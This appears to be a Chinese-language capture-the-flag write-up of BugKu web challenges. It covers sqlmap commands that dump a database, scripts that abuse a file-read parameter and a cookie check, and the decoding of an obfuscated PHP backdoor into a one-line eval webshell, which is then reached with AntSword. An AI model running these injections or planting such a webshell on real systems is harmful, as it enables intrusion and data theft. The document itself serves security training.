BugKu Web 刷题记录2
参考:
BugKu-Web-wp1
BugKu-Web-wp2
get-shell-wp1
get-shell-wp2
成绩查询 使用sqlmap进行注入
python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs
发现爆出来四个数据库名字
其中skctf很可疑,去爆其中表名
python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skctf --tables
可以猜测,flag就在f14g中,故去爆其中字段
python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skctf -T fl4g --columns
可以看到,fl4g表中有一个名为skctf_flag字段,得到其字段信息即可。
python sqlmap.py -u http://114.67.175.224:16892/ --forms --dbs -D skctf -T fl4g -C skctf_flag --dump
秋名山老司机 打开网页后发现需要2秒内计算出结果返回,故编写脚本实现
import requestsimport osimport reurl = 'http://114.67.175.224:13247/' headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' } sess = requests.Session() response = sess.post(url=url,headers=headers) response.encoding = response.apparent_encoding html_data = response.text data = re.findall('<div>(.*)?=\?;</div>' ,html_data) ans = { 'value' :eval (data[0 ]) } r = sess.post(url=url,data = ans) r.encoding = r.apparent_encoding print (r.text)
速度要快 查看源代码发现要传递margin字段
使用burp抓包发现flag字段
然后编写脚本进行post请求传递margin
import requestsimport osimport reimport base64url = 'http://114.67.175.224:16315/' headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' } sess = requests.Session() response = sess.get(url=url,headers=headers) response.encoding = response.apparent_encoding head = response.headers flag = base64.b64decode(head["flag" ]) flag = flag.decode() print (flag)payload = base64.b64decode(flag.split(':' )[1 ]) print (payload)data = { "margin" :payload } r = sess.post(url=url,data=data) print (r.text)
脚本运行后即可获得flag
cookies 进入后发现url有line和filename两个参数
http://114.67.175.224:10608/index.php?line=&filename=a2V5cy50eHQ=
base64解码a2V5cy50eHQ=发现是 keys.txt ,故写脚本尝试读取index.php源码
import requestsimport osimport reimport base64filename = str (base64.b64encode(b'index.php' ),encoding='utf-8' ) headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' } for i in range (100000 ): url = f'http://114.67.175.224:10608/index.php?line={i} &filename={filename} ' response = requests.get(url=url) response.encoding = response.apparent_encoding if (response.text=='' ): break ; else : print (response.text)
得到源码
<?php error_reporting (0 );$file =base64_decode (isset ($_GET ['filename' ])?$_GET ['filename' ]:"" );$line =isset ($_GET ['line' ])?intval ($_GET ['line' ]):0 ;if ($file =='' ) header ("location:index.php?line=&filename=a2V5cy50eHQ=" );$file_list = array ('0' =>'keys.txt' ,'1' =>'index.php' ,); if (isset ($_COOKIE ['margin' ]) && $_COOKIE ['margin' ]=='margin' ){ $file_list [2 ]='keys.php' ;} if (in_array ($file , $file_list )){$fa = file ($file );echo $fa [$line ];} ?>
编写exp
import requestsimport osimport reimport base64filename = str (base64.b64encode(b'keys.php' ),encoding='utf-8' ) url = f'http://114.67.175.224:10608/index.php?line=&filename={filename} ' headers = { 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0' } cookie = { "margin" :"margin" } r = requests.post(url=url,cookies=cookie) print (r.text)
运行后即可得到flag
<?php $key ="flag{99d5704e2ff0effef5f671361d5fe141}" ; ?>
never_give_up F12查看发现1p.html页面
直接跳转发现会一直跳转到BugKu 这个地址,故直接view-source查看源码
view-source:http://114.67.175.224:11348/1p.html
输出NewWords得到解码后内容
<script > window .location .href ='http://www.bugku.com' ;</script >
发现注释里还有base64编码,故进行解码得到
%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E
再次进行url解码即可得到源码
if (!$_GET ['id' ]) { header ('Location: hello.php?id=1' ); exit (); } $id =$_GET ['id' ];$a =$_GET ['a' ];$b =$_GET ['b' ];if (stripos ($a ,'.' )) { echo 'no no no no no no no' ; return ; } $data = @file_get_contents ($a ,'r' ); if ($data =="bugku is a nice plateform!" and $id ==0 and strlen ($b )>5 and eregi ("111" .substr ($b ,0 ,1 ),"1114" ) and substr ($b ,0 ,1 )!=4 ){ $flag = "flag{***********}" } else { print "never never never give up !!!" ; } ?>
构造payload放入burp发送(参考wp )
各种绕过哟
get_shell
参考:
wp1
wp2
发现php混淆后的代码
<?php define ('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn' , __FILE__ );$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {3 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {6 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {33 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {30 };$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {33 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {10 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {24 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {10 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {24 };$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ {0 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {18 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {3 } . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ {0 } . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ {1 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {24 };$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {7 } . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ {13 };$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC .= $cPIHjUYxDZVBv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QY0lMdDF5UFNJeVBQc0RqR0phNENQSWFlVWFZdEI1ckd5UnV2dW5mTHM5c3BWTTRQQm91UDJQVnVzNVN0ZnhqTDFDV3ZVOTNRbTBrckxzN1FmND0iO2V2YWwoJz8+Jy4kQndsdHFPWWJIYVFrUlBOb3hjZm5GbXpzSWpoZE1EQVdVZUtHZ3ZpVnJKWnBMdVhFVFN5QygkaFlYbFRnQnFXQXBPYnhKdmVqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7" )); ?>
解码(我是一步步用base64解码的,主要是找到eval里面的内容,注意是有一次解码会出现两段php代码,第二段才是要的源码),下面代码运行后即可获得源码
<?php $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp =urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO =$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {3 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {6 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {33 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {30 };$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa =$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {33 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {10 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {24 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {10 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {24 };$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx =$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa {0 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {18 }.$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp {3 }.$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa {0 }.$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vF1uqrVxkZPhpyNATyVtv1Admz0cAsv2tFzxJV9AT1GrF3PbwsPIqyGdH2Pow2bacTn=" ;echo base64_decode ($IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa ($DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx ($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo *2 ),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx ($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo ),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx ($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ ,0 ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo )));?>
源码如下
<?php highlight_file (__FILE__ );@eval ($_POST [ymlisisisiook]); ?>
使用中国蚁剑连接(使用插件disable_functions),连接后发现只能看html目录下的东西。
用蚁剑连接 .antproxy.php
根目录下找到flag